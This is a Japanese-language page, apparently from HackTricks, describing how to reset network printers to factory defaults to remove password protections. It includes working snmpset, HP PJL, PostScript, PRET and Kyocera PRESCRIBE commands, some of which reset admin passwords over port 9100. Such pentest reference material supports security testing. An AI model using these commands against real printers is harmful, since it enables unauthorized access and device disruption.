7.8 KiB
htARTE (HackTricks AWS Red Team Expert) を使ってAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください。
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、ハッキングのコツを共有する。
デバイスを工場出荷時のデフォルトにリセットすることは、ユーザー設定のパスワードのような保護メカニズムを上書きするため、セキュリティ上重要な機能です。これは通常、プリンターのコントロールパネル上の特別なキーの組み合わせを押すことで行うことができます。このようなコールドリセットは数秒で完了するため、例えば昼休みにコピー室に忍び込むなど、ローカルの攻撃者やペネトレーションテスターにとって現実的なシナリオです。ただし、デバイスへの物理的アクセスは常にオプションではありません。
SNMP
Printer-MIBはprtGeneralResetオブジェクト(OID 1.3.6.1.2.1.43.5.1.1.3.1)を定義しており、攻撃者はSNMPを使用してデバイスを再起動(powerCycleReset(4))、NVRAM設定をリセット(resetToNVRAM(5))、または工場出荷時のデフォルトに復元(resetToFactoryDefaults(6))することができます。この機能/攻撃は多くのプリンターでサポートされており、組み込みウェブサーバーのユーザー設定パスワードなどのすべての保護メカニズムを削除します。保護メカニズムを効率的にバイパスできる一方で、このアプローチの実用的な欠点は、静的IPアドレスの設定が失われることです。DHCPサービスが利用できない場合、攻撃者は工場出荷時のデフォルトにリセットした後、デバイスに再接続することはできません。
デバイスを工場出荷時のデフォルトにリセットするには、以下に示すようにsnmpset
コマンドを使用します(コミュニティストリングを知っている必要があります。ほとんどの場合、デフォルトはpublic
です):
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
PML/PJL
多くのシナリオでは、攻撃者はファイアウォールや不明なSNMPコミュニティ文字列のためにSNMPリクエストを実行する能力がありません。しかし、HPデバイスでは、SNMPをそのPML表現に変換し、正当な印刷ジョブ内にリクエストを埋め込むことができます。これにより、攻撃者は以下に示すように、通常の印刷ジョブ内でデバイスを再起動および/またはリセットして工場出荷時のデフォルトに戻すことができます:
@PJL DMCMD ASCIIHEX="040006020501010301040106"
誰でもこの攻撃をHPプリンターで再現できます。デバイスの再起動やリセットは、PRETを使用して簡単に再現できます:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PostScript
PostScriptには同様の機能があります:FactoryDefaults システムパラメーターは、「trueに設定され、プリンターがオフになる直前に、次の電源オン時にすべての不揮発性パラメーターが工場出荷時のデフォルト値に戻るフラグです」。PostScript自体にも環境を再起動する機能がありますが、有効なパスワードが必要です。
しかし、PostScriptインタープリターは、ドキュメント処理 DoS攻撃で議論されているように、無限ループに陥ることができ、これによりユーザーはデバイスを手動で再起動し、PostScriptのパスワードをリセットする必要があります。
PostScriptシステムパラメーターを工場出荷時のデフォルトにリセットする:
<< /FactoryDefaults true >> setsystemparams
PostScript インタープリタと仮想メモリを再起動します:
true 0 startjob systemdict /quit get exec
誰でもプリンターのPostScriptインタープリタを再起動またはリセットすることが、PRETを使用して簡単に再現できます:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PRESCRIBE
キョセラデバイスにおいて、PRESCRIBEページ 記述言語は以下に示すコマンドのいずれかを使用して、通常の印刷ジョブ内からデバイスを工場出荷時のデフォルトにリセットするために使用することができます:
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
この攻撃を再現するには、プリンターの9100/tcpポートに対して生のネットワーク接続を開き、上記のコマンドを送信します。
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。